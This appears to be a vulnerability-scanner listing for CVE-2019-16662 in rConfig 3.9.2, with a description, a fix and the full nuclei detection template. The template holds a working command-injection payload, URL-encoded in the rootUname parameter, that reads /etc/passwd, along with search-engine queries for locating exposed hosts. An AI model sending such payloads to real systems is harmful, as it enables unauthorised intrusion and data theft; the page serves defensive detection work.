rConfig 3.9.2 - Remote Code Execution

criticalseverity

9.8CVSS score

97.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.

Fix

Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-16662 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16662

info:
  name: rConfig 3.9.2 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system.
  remediation: |
    Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16662
    - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu
    - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16662
    cwe-id: CWE-78
    epss-score: 0.97702
    epss-percentile: 0.99904
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2019,cve,intrusive,rconfig,packetstorm,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from